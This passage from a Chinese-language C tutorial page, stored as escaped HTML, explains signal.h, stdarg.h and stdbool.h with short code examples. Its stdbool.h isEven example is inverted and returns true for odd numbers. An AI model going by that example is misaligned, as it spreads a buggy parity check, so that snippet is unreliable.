title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esignal.h\u003c/code\u003e提供了信号(即异常情况)的处理工具。所谓“信号”(signal),可以理解成系统与程序之间的短消息,主要用来表示运行时错误,或者发生了异常事件。\u003c/p\u003e\u003cp\u003e头文件\u003ccode\u003esignal.h\u003c/code\u003e定义了一系列宏,表示不同的信号。\u003c/p\u003e\u003cul\u003e\u003cli\u003eSIGABRT:异常中止(可能由于调用了 abort() 方法)。\u003c/li\u003e\u003cli\u003eSIGFPE:算术运算发生了错误(可能是除以 0 或者溢出)。\u003c/li\u003e\u003cli\u003eSIGILL:无效指令。\u003c/li\u003e\u003cli\u003eSIGINT:中断。\u003c/li\u003e\u003cli\u003eSIGSEGV:无效内存访问。\u003c/li\u003e\u003cli\u003eSIGTERM:终止请求。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面每个宏的值都是一个正整数常量。\u003c/p\u003e\u003ch3 id=\"signal\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#signal\" class=\"headerlink\" title=\"signal()\"\u003e\u003c/a\u003esignal()\u003c/h3\u003e\u003cp\u003e头文件\u003ccode\u003esignal.h\u003c/code\u003e还定义了一个\u003ccode\u003esignal()\u003c/code\u003e函数,用来指定某种信号的处理函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esignal(SIGINT, handler);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003esignal()\u003c/code\u003e接受两个参数,第一个参数是某种信号的宏,第二个参数是处理这个信号的函数指针\u003ccode\u003ehandler\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e信号处理函数\u003ccode\u003ehandler\u003c/code\u003e接受一个 int 类型的参数,表示信号类型。它的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*func)(\u003cspan class=\"type\"\u003eint\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003ehandler\u003c/code\u003e函数体内部可以根据这个整数,判断到底接受到了哪种信号,因为多个信号可以共用同一个处理函数。一旦处理函数执行完成,程序会从信号发生点恢复执行。但是,如果遇到 SIGABRT 信号,处理函数执行完成,系统会让程序中止。\u003c/p\u003e\u003cp\u003e当系统向程序发送信号时,程序可以忽略信号,即不指定处理函数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esignal()\u003c/code\u003e的返回值是前一个处理函数的指针,常常把它保存在变量之中,当新的处理函数执行完,再恢复以前的处理函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*orig_handler)(\u003cspan class=\"type\"\u003eint\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eorig_handler = signal(SIGINT, handler);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// SIGINT 信号发生之后\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esignal(SIGINT, orig_handler);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003esignal()\u003c/code\u003e为信号\u003ccode\u003eSIGINT\u003c/code\u003e指定了新的处理函数\u003ccode\u003ehandler\u003c/code\u003e,把原来的处理函数保存在变量\u003ccode\u003eorig_handler\u003c/code\u003e里面。等到\u003ccode\u003ehandler\u003c/code\u003e这个函数用过之后,再恢复原来的处理函数。\u003c/p\u003e\u003ch3 id=\"信号相关的宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%BF%A1%E5%8F%B7%E7%9B%B8%E5%85%B3%E7%9A%84%E5%AE%8F\" class=\"headerlink\" title=\"信号相关的宏\"\u003e\u003c/a\u003e信号相关的宏\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esignal.h\u003c/code\u003e还提供了信号相关的宏。\u003c/p\u003e\u003cp\u003e(1)SIG_DFL\u003c/p\u003e\u003cp\u003eSIG_DFL 表示默认的处理函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esignal(SIGINT, SIG_DFL);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,SIGINT 的处理函数是默认处理函数,由当前实现决定。\u003c/p\u003e\u003cp\u003e(2)SIG_IGN\u003c/p\u003e\u003cp\u003eSIG_IGN 表示忽略该信号。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esignal(SIGINT, SIG_IGN);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例表示不对 SIGINT 信号进行处理。由于程序运行时按下 Ctrl + c 是发出 SIGINT 信号,所以使用该语句后,程序无法用 Ctrl + c 终止。\u003c/p\u003e\u003cp\u003e(3)SIG_ERR\u003c/p\u003e\u003cp\u003eSIG_ERR 是信号处理函数发生错误时,\u003ccode\u003esignal()\u003c/code\u003e的返回值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (signal(SIGINT, handler) == SIG_ERR) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e perror(\u003cspan class=\"string\"\u003e\u0026#34;signal(SIGINT, handler) failed\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例可以判断\u003ccode\u003ehandler\u003c/code\u003e处理 SIGINT 时,是否发生错误。\u003c/p\u003e\u003ch3 id=\"raise\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#raise\" class=\"headerlink\" title=\"raise()\"\u003e\u003c/a\u003eraise()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eraise()\u003c/code\u003e函数用来在程序中发出信号。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eraise\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e sig)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受一个信号值作为参数,表示发出该信号。它的返回值是一个整数,可以用来判断信号发出是否成功,0 表示成功,非 0 表示失败。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ehandler\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e sig)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Handler called for signal %d\\n\u0026#34;\u003c/span\u003e, sig);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esignal(SIGINT, handler);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eraise(SIGINT);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eraise()\u003c/code\u003e触发 SIGINT 信号,导致 handler 函数执行。\u003c/p\u003e\u003ch2 id=\"stdarg-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#stdarg-h\" class=\"headerlink\" title=\"stdarg.h\"\u003e\u003c/a\u003estdarg.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003estdarg.h\u003c/code\u003e定义于函数的可变参数相关的一些方法。\u003c/p\u003e\u003cul\u003e\u003cli\u003eva_list 类型\u003c/li\u003e\u003cli\u003eva_start()\u003c/li\u003e\u003cli\u003eva_arg():获取当前参数\u003c/li\u003e\u003cli\u003eva_end()。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eva_copy():it makes a copy of your va_list variable in the exact same state.\u003cbr/\u003eva_copy() can be useful if you need to scan ahead through the arguments but need to also remember your current place.\u003c/p\u003e\u003cp\u003e接受可变函数作为参数的一些方法。\u003c/p\u003e\u003cul\u003e\u003cli\u003evprintf()\u003c/li\u003e\u003cli\u003evfprintf()\u003c/li\u003e\u003cli\u003evsprintf()\u003c/li\u003e\u003cli\u003evsnprintf()\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdarg.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emy_printf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e serial, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *format, ...)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_list va;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// Do my custom work\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;The serial number is: %d\\n\u0026#34;\u003c/span\u003e, serial);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// Then pass the rest off to vprintf()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_start(va, format);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e rv = \u003cspan class=\"built_in\"\u003evprintf\u003c/span\u003e(format, va);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_end(va);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e rv;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e y = \u003cspan class=\"number\"\u003e3.2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e my_printf(\u003cspan class=\"number\"\u003e3490\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;x is %d, y is %f\\n\u0026#34;\u003c/span\u003e, x, y);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"stdbool-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#stdbool-h\" class=\"headerlink\" title=\"stdbool.h\"\u003e\u003c/a\u003estdbool.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003estdbool.h\u003c/code\u003e头文件定义了4个宏。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ebool\u003c/code\u003e:定义为\u003ccode\u003e_Bool\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003ccode\u003etrue\u003c/code\u003e:定义为1。\u003c/li\u003e\u003cli\u003e\u003ccode\u003efalse\u003c/code\u003e:定义为0。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__bool_true_false_are_defined\u003c/code\u003e:定义为1。\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ebool\u003c/span\u003e \u003cspan class=\"title function_\"\u003eisEven\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e number)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (number % \u003cspan class=\"number\"\u003e2\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdbool.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e div;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003ebool\u003c/span\u003e isPrime = \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e num = \u003cspan class=\"number\"\u003e64457\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (div = \u003cspan class=\"number\"\u003e2\u003c/span\u003e; (div * div) \u0026lt;= num; div++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (num % div == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) isPrime = \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (isPrime) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%lu is prime.\\n\u0026#34;\u003c/span\u003e, num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%lu is not prime.\\n\u0026#34;\u003c/span\u003e, num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan 